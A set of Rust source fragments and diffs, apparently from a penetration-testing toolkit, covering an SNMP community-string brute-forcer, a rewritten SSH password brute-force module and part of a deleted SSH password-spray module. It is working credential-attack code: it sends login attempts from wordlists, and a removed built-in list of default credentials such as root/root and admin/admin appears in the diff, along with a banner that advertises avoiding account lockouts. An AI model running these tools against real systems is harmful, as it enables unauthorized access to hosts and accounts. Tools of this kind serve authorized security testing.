// OID: 1.3.6.1.2.1.1.1.0 (sysDescr)
let message = build_snmp_get_request(&community_owned, version);
// Send request
socket
.send_to(&message, &addr)
.map_err(|e| anyhow!("Failed to send SNMP request: {}", e))?;
// Receive response
let mut buf = vec![0u8; 4096];
let result: bool = match socket.recv_from(&mut buf) {
Ok((size, _)) => {
let response = &buf[..size];
// Parse SNMP response to verify it's valid
// A valid SNMP response should:
// 1. Start with 0x30 (SEQUENCE)
// 2. Contain version, community, and PDU
// 3. Have error status = 0 (noError) in the response PDU
if size >= 20 && response[0] == 0x30 {
// Try to parse the response to check error status
// If we can parse it and error status is 0, it's valid
match parse_snmp_response(response) {
Ok(true) => true, // Valid community string
Ok(false) => false, // Invalid community (error in response)
Err(_) => {
// Can't parse, but got a response - might be valid
// Some devices send malformed responses but still indicate valid community
true
}
}
} else {
// Malformed response - likely invalid
false
}
}
Err(e) => {
// Handle timeout and EAGAIN/EWOULDBLOCK errors as invalid community
// EAGAIN (os error 11) can occur on Linux when socket would block
let error_kind = e.kind();
if error_kind == std::io::ErrorKind::TimedOut
|| error_kind == std::io::ErrorKind::WouldBlock
|| e.raw_os_error() == Some(11) // EAGAIN on Linux
|| e.raw_os_error() == Some(35) // EAGAIN on macOS
{
// Timeout or would block - community string is likely invalid
false
} else {
// Other errors might be transient, but log them
// For now, treat as invalid to avoid false positives
false
}
}
};
Ok(result)
})
.await
.map_err(|e| anyhow!("Task join error: {}", e))?;
result
}
/// Parses SNMP response to check if error status is 0 (noError)
/// Returns Ok(true) if valid, Ok(false) if error status != 0, Err if can't parse
fn parse_snmp_response(response: &[u8]) -> Result<bool> {
if response.len() < 20 || response[0] != 0x30 {
return Err(anyhow!("Invalid SNMP response header"));
}
// Try to find the PDU (GetResponse-PDU = 0xa2)
// The structure is: SEQUENCE (version, community, PDU)
// We need to skip version and community to get to the PDU
let mut pos = 1;
// Skip length of outer SEQUENCE
if pos >= response.len() {
return Err(anyhow!("Response too short"));
}
let (_len, len_bytes) = parse_ber_length(&response[pos..])?;
pos += len_bytes;
// Skip version (INTEGER)
if pos >= response.len() || response[pos] != 0x02 {
return Err(anyhow!("Invalid version field"));
}
pos += 1;
let (vlen, vlen_bytes) = parse_ber_length(&response[pos..])?;
pos += vlen_bytes + vlen;
// Skip community (OCTET STRING)
if pos >= response.len() || response[pos] != 0x04 {
return Err(anyhow!("Invalid community field"));
}
pos += 1;
let (clen, clen_bytes) = parse_ber_length(&response[pos..])?;
pos += clen_bytes + clen;
// Now we should be at the PDU
// GetResponse-PDU = 0xa2, GetRequest-PDU = 0xa0
if pos >= response.len() {
return Err(anyhow!("Response too short for PDU"));
}
let pdu_tag = response[pos];
if pdu_tag != 0xa2 && pdu_tag != 0xa0 {
// Not a GetResponse or GetRequest, might be an error
return Ok(false);
}
pos += 1;
let (_pdu_len, pdu_len_bytes) = parse_ber_length(&response[pos..])?;
pos += pdu_len_bytes;
// PDU structure: request-id, error-status, error-index, variable-bindings
// Skip request-id (INTEGER)
if pos >= response.len() || response[pos] != 0x02 {
return Err(anyhow!("Invalid request-id field"));
}
pos += 1;
let (rid_len, rid_len_bytes) = parse_ber_length(&response[pos..])?;
pos += rid_len_bytes + rid_len;
// Read error-status (INTEGER)
if pos >= response.len() || response[pos] != 0x02 {
return Err(anyhow!("Invalid error-status field"));
}
pos += 1;
let (es_len, es_len_bytes) = parse_ber_length(&response[pos..])?;
if es_len == 0 || pos + es_len_bytes + es_len > response.len() {
return Err(anyhow!("Invalid error-status length"));
}
// Read the error status value
let error_status = if es_len == 1 {
response[pos + es_len_bytes] as u32
} else {
// Multi-byte integer (shouldn't happen for error status, but handle it)
let mut val = 0u32;
for i in 0..es_len {
val = (val << 8) | (response[pos + es_len_bytes + i] as u32);
}
val
};
// Error status 0 = noError, anything else is an error
Ok(error_status == 0)
}
/// Parses BER length field
/// Returns (length_value, number_of_bytes_consumed)
fn parse_ber_length(data: &[u8]) -> Result<(usize, usize)> {
if data.is_empty() {
return Err(anyhow!("Empty length field"));
}
let first_byte = data[0];
if (first_byte & 0x80) == 0 {
// Short form: single byte
Ok((first_byte as usize, 1))
} else {
// Long form: first byte indicates number of length bytes
let num_bytes = (first_byte & 0x7F) as usize;
if num_bytes == 0 {
return Err(anyhow!("Indefinite length not supported"));
}
if num_bytes > 4 {
return Err(anyhow!("Length field too large"));
}
if data.len() < 1 + num_bytes {
return Err(anyhow!("Not enough bytes for length field"));
}
let mut length = 0usize;
for i in 0..num_bytes {
length = (length << 8) | (data[1 + i] as usize);
}
Ok((length, 1 + num_bytes))
}
}
/// Builds a simple SNMP GET request packet manually
/// This is a simplified implementation that creates a basic SNMPv1/v2c GET request
fn build_snmp_get_request(community: &str, version: u8) -> Vec<u8> {
// Build components first, then assemble with proper length encoding
// OID for sysDescr: 1.3.6.1.2.1.1.1.0
let oid_encoded = encode_oid_value(&[1, 3, 6, 1, 2, 1, 1, 1, 0]);
let oid_tlv = build_tlv(0x06, &oid_encoded); // 0x06 = OBJECT IDENTIFIER
// NULL value
let null_tlv = vec![0x05, 0x00]; // NULL type, length 0
// VarBind: SEQUENCE of (OID, NULL)
let mut var_bind = Vec::new();
var_bind.extend_from_slice(&oid_tlv);
var_bind.extend_from_slice(&null_tlv);
let var_bind_tlv = build_tlv(0x30, &var_bind); // 0x30 = SEQUENCE
// VarBindList: SEQUENCE of VarBind
let mut var_bind_list_content = Vec::new();
var_bind_list_content.extend_from_slice(&var_bind_tlv);
let var_bind_list_tlv = build_tlv(0x30, &var_bind_list_content); // 0x30 = SEQUENCE
// Request ID
let request_id_tlv = encode_integer_tlv(1u32);
// Error status (0 = noError)
let error_status_tlv = encode_integer_tlv(0u32);
// Error index (0 = noError)
let error_index_tlv = encode_integer_tlv(0u32);
// PDU: GetRequest-PDU
let mut pdu_content = Vec::new();
pdu_content.extend_from_slice(&request_id_tlv);
pdu_content.extend_from_slice(&error_status_tlv);
pdu_content.extend_from_slice(&error_index_tlv);
pdu_content.extend_from_slice(&var_bind_list_tlv);
let pdu_tlv = build_tlv(0xa0, &pdu_content); // 0xa0 = GetRequest-PDU
// Version
let version_tlv = encode_integer_tlv(version as u32);
// Community string
let community_bytes = community.as_bytes();
let community_tlv = build_tlv(0x04, community_bytes); // 0x04 = OCTET STRING
// SNMP Message: SEQUENCE of (version, community, PDU)
let mut message_content = Vec::new();
message_content.extend_from_slice(&version_tlv);
message_content.extend_from_slice(&community_tlv);
message_content.extend_from_slice(&pdu_tlv);
let message = build_tlv(0x30, &message_content); // 0x30 = SEQUENCE
message
}
/// Builds a TLV (Type-Length-Value) structure
fn build_tlv(tag: u8, value: &[u8]) -> Vec<u8> {
let mut result = Vec::new();
result.push(tag);
let length = value.len();
if length < 128 {
// Short form: single byte length
result.push(length as u8);
} else {
// Long form: first byte is 0x80 | num_bytes, followed by length bytes (big-endian)
// Calculate how many bytes we need for the length
let mut len = length;
let mut num_bytes = 0;
let mut len_bytes = Vec::new();
while len > 0 {
len_bytes.push((len & 0xFF) as u8);
len >>= 8;
num_bytes += 1;
}
// Reverse to get big-endian representation
len_bytes.reverse();
// First byte: 0x80 | number of length bytes
result.push(0x80 | (num_bytes as u8));
result.extend_from_slice(&len_bytes);
}
result.extend_from_slice(value);
result
}
/// Encodes an integer as a TLV (signed integer, but we use it for unsigned values)
fn encode_integer_tlv(value: u32) -> Vec<u8> {
let mut bytes = Vec::new();
if value == 0 {
bytes.push(0);
} else {
let mut val = value;
// Encode as big-endian, using minimum number of bytes
// For values that would have high bit set, we need an extra zero byte
// to ensure it's interpreted as positive
while val > 0 {
bytes.push((val & 0xFF) as u8);
val >>= 8;
}
bytes.reverse();
// If high bit is set, prepend 0x00 to make it positive
if bytes[0] & 0x80 != 0 {
bytes.insert(0, 0x00);
}
}
build_tlv(0x02, &bytes) // 0x02 = INTEGER
}
/// Encodes OID value (without the TLV wrapper)
fn encode_oid_value(oid: &[u32]) -> Vec<u8> {
let mut encoded = Vec::new();
if oid.len() >= 2 {
// First two sub-identifiers are encoded as: first * 40 + second
encoded.push((oid[0] * 40 + oid[1]) as u8);
for &sub_id in &oid[2..] {
encode_sub_id(sub_id, &mut encoded);
}
}
encoded
}
/// Encodes a sub-identifier using base-128 encoding
fn encode_sub_id(mut value: u32, output: &mut Vec<u8>) {
let mut bytes = Vec::new();
if value == 0 {
bytes.push(0);
} else {
while value > 0 {
bytes.push((value & 0x7F) as u8);
value >>= 7;
}
bytes.reverse();
// Set high bit on all but last byte
for i in 0..bytes.len() - 1 {
bytes[i] |= 0x80;
}
}
output.extend_from_slice(&bytes);
}
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
let trimmed = host.trim();
let caps = re
.captures(trimmed)
.ok_or_else(|| anyhow!("Invalid target format: {}", host))?;
let addr = caps.name("addr").unwrap().as_str();
let port = if let Some(m) = caps.name("port") {
m.as_str()
.parse::<u16>()
.map_err(|_| anyhow!("Invalid port value in target '{}'", host))?
} else {
default_port
};
let formatted = if addr.contains(':') && !addr.contains('.') {
format!("[{}]:{}", addr, port)
} else {
format!("{}:{}", addr, port)
};
// Validate that the address can be resolved
formatted
.parse::<std::net::SocketAddr>()
.map_err(|e| anyhow!("Could not parse address '{}': {}", formatted, e))?;
Ok(formatted)
}
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("{}", "This field is required.".yellow());
}
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path.as_ref())
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.filter(|l| !l.trim().is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
let path_candidate = Path::new(input_path_str)
.file_name()
.map(|os_str| os_str.to_string_lossy())
.filter(|s_cow| !s_cow.is_empty() && s_cow != "." && s_cow != "..")
.map(|s_cow| s_cow.into_owned())
.unwrap_or_else(|| "snmp_brute_results.txt".to_string());
PathBuf::from(format!("./{}", path_candidate))
}
+120 -382
View File
@@ -1,185 +1,41 @@
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::{
collections::HashSet,
fs::File,
io::{BufRead, BufReader, Write},
net::{TcpStream, ToSocketAddrs},
net::TcpStream,
path::{Path, PathBuf},
sync::{
atomic::{AtomicBool, AtomicU64, Ordering},
Arc,
},
time::Instant,
sync::Arc,
};
use regex::Regex;
use tokio::{
sync::{Mutex, Semaphore},
task::spawn_blocking,
time::{sleep, Duration, timeout},
time::{sleep, Duration},
};
// Constants
const DEFAULT_SSH_PORT: u16 = 22;
const PROGRESS_INTERVAL_SECS: u64 = 2;
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
("root", "root"),
("admin", "admin"),
("user", "user"),
("guest", "guest"),
("root", "123456"),
("admin", "123456"),
("root", "password"),
("admin", "password"),
("root", ""),
("admin", ""),
("ubuntu", "ubuntu"),
("test", "test"),
("oracle", "oracle"),
];
// Statistics tracking
struct Statistics {
total_attempts: AtomicU64,
successful_attempts: AtomicU64,
failed_attempts: AtomicU64,
error_attempts: AtomicU64,
retried_attempts: AtomicU64,
start_time: Instant,
}
impl Statistics {
fn new() -> Self {
Self {
total_attempts: AtomicU64::new(0),
successful_attempts: AtomicU64::new(0),
failed_attempts: AtomicU64::new(0),
error_attempts: AtomicU64::new(0),
retried_attempts: AtomicU64::new(0),
start_time: Instant::now(),
}
}
fn record_attempt(&self, success: bool, error: bool) {
self.total_attempts.fetch_add(1, Ordering::Relaxed);
if error {
self.error_attempts.fetch_add(1, Ordering::Relaxed);
} else if success {
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
} else {
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
}
}
fn record_retry(&self) {
self.retried_attempts.fetch_add(1, Ordering::Relaxed);
}
fn print_progress(&self) {
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let retries = self.retried_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
print!(
"\r{} {} attempts | {} OK | {} fail | {} err | {} retry | {:.1}/s ",
"[Progress]".cyan(),
total.to_string().bold(),
success.to_string().green(),
failed,
errors.to_string().red(),
retries,
rate
);
let _ = std::io::Write::flush(&mut std::io::stdout());
}
fn print_final(&self) {
println!();
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let retries = self.retried_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
println!("{}", "=== Statistics ===".bold());
println!(" Total attempts: {}", total);
println!(" Successful: {}", success.to_string().green().bold());
println!(" Failed: {}", failed);
println!(" Errors: {}", errors.to_string().red());
println!(" Retries: {}", retries);
println!(" Elapsed time: {:.2}s", elapsed);
if elapsed > 0.0 {
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
}
}
}
pub async fn run(target: &str) -> Result<()> {
println!("{}", "=== SSH Brute Force Module ===".bold());
println!("=== SSH Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("SSH Port", &DEFAULT_SSH_PORT.to_string())?;
let input = prompt_default("SSH Port", "22")?;
match input.parse() {
Ok(p) if p > 0 => break p,
_ => println!("{}", "Invalid port. Must be between 1 and 65535.".yellow()),
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
}
};
// Ask about default credentials
let use_defaults = prompt_yes_no("Try default credentials first?", true)?;
let usernames_file = if prompt_yes_no("Use username wordlist?", true)? {
Some(prompt_existing_file("Username wordlist")?)
} else {
None
};
let passwords_file = if prompt_yes_no("Use password wordlist?", true)? {
Some(prompt_existing_file("Password wordlist")?)
} else {
None
};
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
}
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 && n <= 256 => break n,
_ => println!("{}", "Invalid number. Must be between 1 and 256.".yellow()),
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
}
};
let connection_timeout: u64 = loop {
let input = prompt_default("Connection timeout (seconds)", "5")?;
match input.parse() {
Ok(n) if n >= 1 && n <= 60 => break n,
_ => println!("{}", "Invalid timeout. Must be between 1 and 60 seconds.".yellow()),
}
};
let retry_on_error = prompt_yes_no("Retry on connection errors?", true)?;
let max_retries: usize = if retry_on_error {
loop {
let input = prompt_default("Max retries per attempt", "2")?;
match input.parse() {
Ok(n) if n > 0 && n <= 10 => break n,
_ => println!("{}", "Invalid retries. Must be between 1 and 10.".yellow()),
}
}
} else {
0
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
@@ -190,192 +46,90 @@ pub async fn run(target: &str) -> Result<()> {
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let connect_addr = normalize_target(target, port)?;
let initial_addr = format!("{}:{}", target, port);
let connect_addr = format_host_port(&initial_addr)?;
println!("\n{}", format!("[*] Starting brute-force on {}", connect_addr).cyan());
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
// Load wordlists
let mut usernames = Vec::new();
if let Some(ref file) = usernames_file {
usernames = load_lines(file)?;
if usernames.is_empty() {
println!("{}", "[!] Username wordlist is empty.".yellow());
} else {
println!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
}
}
println!("\n[*] Starting brute-force on {}", connect_addr);
let mut passwords = Vec::new();
if let Some(ref file) = passwords_file {
passwords = load_lines(file)?;
if passwords.is_empty() {
println!("{}", "[!] Password wordlist is empty.".yellow());
} else {
println!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
}
}
let users = Arc::new(load_lines(&usernames_file)?);
let pass_file = File::open(&passwords_file)?;
let pass_buf = BufReader::new(pass_file);
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
// Add default credentials if requested
if use_defaults {
for (user, pass) in DEFAULT_CREDENTIALS {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
if !passwords.contains(&pass.to_string()) {
passwords.push(pass.to_string());
}
}
println!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
}
if usernames.is_empty() {
return Err(anyhow!("No usernames available"));
}
if passwords.is_empty() {
return Err(anyhow!("No passwords available"));
}
// Calculate total attempts
let total_attempts = if combo_mode {
usernames.len() * passwords.len()
} else {
passwords.len()
};
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
println!();
let found = Arc::new(Mutex::new(HashSet::new()));
let stop = Arc::new(AtomicBool::new(false));
let stats = Arc::new(Statistics::new());
let semaphore = Arc::new(Semaphore::new(concurrency));
let timeout_duration = Duration::from_secs(connection_timeout);
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop.clone();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
// Generate credential pairs
let mut tasks = Vec::new();
let mut user_cycle_idx = 0usize;
let mut user_cycle_idx = 0;
for pass in passwords.iter() {
if stop_on_success && stop.load(Ordering::Relaxed) {
for pass_str in pass_lines {
if *stop.lock().await {
break;
}
let selected_users: Vec<String> = if combo_mode {
usernames.iter().cloned().collect()
let users_for_current_pass: Box<dyn Iterator<Item = String>> = if combo_mode {
Box::new(users.iter().cloned())
} else {
if usernames.is_empty() {
Vec::new()
if users.is_empty() {
Box::new(std::iter::empty())
} else {
let user = usernames[user_cycle_idx % usernames.len()].clone();
let user = users[user_cycle_idx % users.len()].clone();
user_cycle_idx += 1;
vec![user]
Box::new(std::iter::once(user))
}
};
for user in selected_users {
if stop_on_success && stop.load(Ordering::Relaxed) {
for user_str in users_for_current_pass {
if *stop.lock().await {
break;
}
let addr_clone = connect_addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let permit = Arc::clone(&semaphore).acquire_owned().await?;
let task_addr = connect_addr.clone();
let task_user = user_str;
let task_pass = pass_str.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let stats_clone = Arc::clone(&stats);
let semaphore_clone = semaphore.clone();
let timeout_clone = timeout_duration;
let stop_flag = stop_on_success;
let verbose_flag = verbose;
let retry_flag = retry_on_error;
let max_retries_clone = max_retries;
// Spawn task immediately - acquire permit INSIDE the task for true concurrency
tasks.push(tokio::spawn(async move {
if stop_flag && stop_clone.load(Ordering::Relaxed) {
let task = tokio::spawn(async move {
let _permit = permit;
if *stop_clone.lock().await {
return;
}
// Acquire semaphore permit inside the spawned task
let _permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
let mut retries = 0;
loop {
match try_ssh_login(&addr_clone, &user_clone, &pass_clone, timeout_clone).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone).green());
let mut found_guard = found_clone.lock().await;
found_guard.insert((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
stats_clone.record_attempt(true, false);
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
break;
}
Ok(false) => {
stats_clone.record_attempt(false, false);
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone).dimmed());
}
break;
}
Err(e) => {
stats_clone.record_attempt(false, true);
if retry_flag && retries < max_retries_clone {
retries += 1;
stats_clone.record_retry();
if verbose_flag {
println!("\r{}", format!("[!] {} -> {}:{} (retry {}/{})", addr_clone, user_clone, pass_clone, retries, max_retries_clone).yellow());
}
sleep(Duration::from_millis(500)).await;
continue;
} else {
if verbose_flag {
println!("\r{}", format!("[!] {} -> {}:{} error: {}", addr_clone, user_clone, pass_clone, e).red());
}
break;
}
match try_ssh_login(&task_addr, &task_user, &task_pass).await {
Ok(true) => {
println!("[+] {} -> {}:{}", task_addr, task_user, task_pass);
found_clone.lock().await.push((task_addr.clone(), task_user.clone(), task_pass.clone()));
if stop_on_success {
*stop_clone.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", task_addr, task_user, task_pass));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", task_addr, e));
}
}
}));
sleep(Duration::from_millis(10)).await;
});
tasks.push(task);
}
}
// Wait for all tasks with bounded concurrency
while let Some(result) = tasks.pop() {
let _ = result.await;
for task in tasks {
let _ = task.await;
}
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
stats.print_final();
let creds = found.lock().await;
if creds.is_empty() {
println!("\n{}", "[-] No credentials found.".yellow());
println!("\n[-] No credentials found.");
} else {
println!("\n{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
println!("\n[+] Valid credentials:");
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
}
@@ -386,95 +140,73 @@ pub async fn run(target: &str) -> Result<()> {
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
}
file.flush()?;
println!("{}", format!("[+] Results saved to '{}'", filename.display()).green());
println!("[+] Results saved to '{}'", filename.display());
}
}
Ok(())
}
async fn try_ssh_login(
normalized_addr: &str,
user: &str,
pass: &str,
timeout_duration: Duration,
) -> Result<bool> {
async fn try_ssh_login(normalized_addr: &str, user: &str, pass: &str) -> Result<bool> {
let user_owned = user.to_string();
let pass_owned = pass.to_string();
let addr_owned = normalized_addr.to_string();
let result = timeout(
timeout_duration,
spawn_blocking(move || {
let tcp = TcpStream::connect(&addr_owned)
.map_err(|e| anyhow!("Connection error: {}", e))?;
let mut sess = Session::new()
.map_err(|e| anyhow!("Failed to create SSH session: {}", e))?;
sess.set_tcp_stream(tcp);
sess.handshake()
.map_err(|e| anyhow!("SSH handshake failed: {}", e))?;
sess.userauth_password(&user_owned, &pass_owned)
.map_err(|e| anyhow!("Authentication failed: {}", e))?;
Ok(sess.authenticated())
}),
)
.await
.map_err(|_| anyhow!("Connection timeout"))??;
result
}
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
let trimmed = host.trim();
let caps = re
.captures(trimmed)
.ok_or_else(|| anyhow!("Invalid target format: {}", host))?;
let addr = caps.name("addr").unwrap().as_str();
let port = if let Some(m) = caps.name("port") {
m.as_str()
.parse::<u16>()
.map_err(|_| anyhow!("Invalid port value in target '{}'", host))?
} else {
default_port
};
let formatted = if addr.contains(':') && !addr.contains('.') {
format!("[{}]:{}", addr, port)
} else {
format!("{}:{}", addr, port)
};
formatted
.to_socket_addrs()
.map_err(|e| anyhow!("Could not resolve '{}': {}", formatted, e))?
.next()
.ok_or_else(|| anyhow!("Could not resolve '{}'", formatted))?;
Ok(formatted)
}
fn prompt_existing_file(msg: &str) -> Result<String> {
loop {
let candidate = prompt_required(msg)?;
if Path::new(&candidate).is_file() {
return Ok(candidate);
} else {
println!(
"{}",
format!("File '{}' does not exist or is not a regular file.", candidate).yellow()
);
let result = spawn_blocking(move || {
match TcpStream::connect(&addr_owned) {
Ok(tcp) => {
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp);
sess.handshake()?;
match sess.userauth_password(&user_owned, &pass_owned) {
Ok(_) => Ok(sess.authenticated()),
Err(_) => Ok(false),
}
}
Err(e) => Err(anyhow!("Connection error to {}: {}", addr_owned, e)),
}
})
.await??;
Ok(result)
}
fn format_host_port(input: &str) -> Result<String> {
if input.starts_with('[') {
if let Some(end_bracket_idx) = input.find("]:") {
let host_part = &input[1..end_bracket_idx];
if !host_part.contains('[') && !host_part.contains(']') {
if (&input[end_bracket_idx+2..]).parse::<u16>().is_ok() {
return Ok(input.to_string());
}
}
}
}
let (host_candidate, port_str) = match input.rfind(':') {
Some(idx) if idx > 0 => { // Ensure colon is not the first character
let (h, p) = input.split_at(idx);
(h, &p[1..]) // Strip colon from port part
}
_ => return Err(anyhow!("Invalid target address format: '{}' - missing port or malformed", input)),
};
if port_str.parse::<u16>().is_err() {
return Err(anyhow!("Invalid port in address: '{}'", input));
}
let stripped_host = host_candidate.trim_matches(|c| c == '[' || c == ']');
if stripped_host.contains(':') {
Ok(format!("[{}]:{}", stripped_host, port_str))
} else {
Ok(format!("{}:{}", stripped_host, port_str))
}
}
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
print!("{}: ", msg);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -482,13 +214,13 @@ fn prompt_required(msg: &str) -> Result<String> {
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("{}", "This field is required.".yellow());
println!("This field is required.");
}
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
print!("{} [{}]: ", msg, default);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -503,7 +235,7 @@ fn prompt_default(msg: &str, default: &str) -> Result<String> {
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
print!("{} (y/n) [{}]: ", msg, default_char);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -515,7 +247,7 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
println!("Invalid input. Please enter 'y' or 'n'.");
}
}
}
@@ -531,6 +263,12 @@ fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
let path_candidate = Path::new(input_path_str)
.file_name()
-474
View File
@@ -1,474 +0,0 @@
//! SSH Password Spray Module
//!
//! Based on SSHPWN framework - sprays single password across multiple targets/users.
//! Useful for avoiding account lockouts while testing common passwords.
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::{
collections::HashSet,
fs::File,
io::{BufRead, BufReader, Write},
net::TcpStream,
sync::{
atomic::{AtomicBool, AtomicU64, Ordering},
Arc,
},
time::{Duration, Instant},
};
use tokio::{
sync::Semaphore,
task::spawn_blocking,
time::sleep,
};
use ipnetwork::IpNetwork;
const DEFAULT_SSH_PORT: u16 = 22;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const DEFAULT_THREADS: usize = 20;
const PROGRESS_INTERVAL_SECS: u64 = 2;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSH Password Spray ║".cyan());
println!("{}", "║ Spray single password across multiple targets/users ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Benefits: ║".cyan());
println!("{}", "║ - Avoids account lockouts ║".cyan());
println!("{}", "║ - Tests common passwords across many hosts ║".cyan());
println!("{}", "║ - Efficient for large network assessments ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Normalize target for connection
fn normalize_target(target: &str) -> String {
let trimmed = target.trim();
if trimmed.starts_with('[') && trimmed.contains(']') {
trimmed.to_string()
} else if trimmed.contains(':') && !trimmed.contains('.') {
format!("[{}]", trimmed)
} else {
trimmed.to_string()
}
}
/// Statistics tracking
struct Statistics {
total_attempts: AtomicU64,
successful: AtomicU64,
failed: AtomicU64,
errors: AtomicU64,
start_time: Instant,
}
impl Statistics {
fn new() -> Self {
Self {
total_attempts: AtomicU64::new(0),
successful: AtomicU64::new(0),
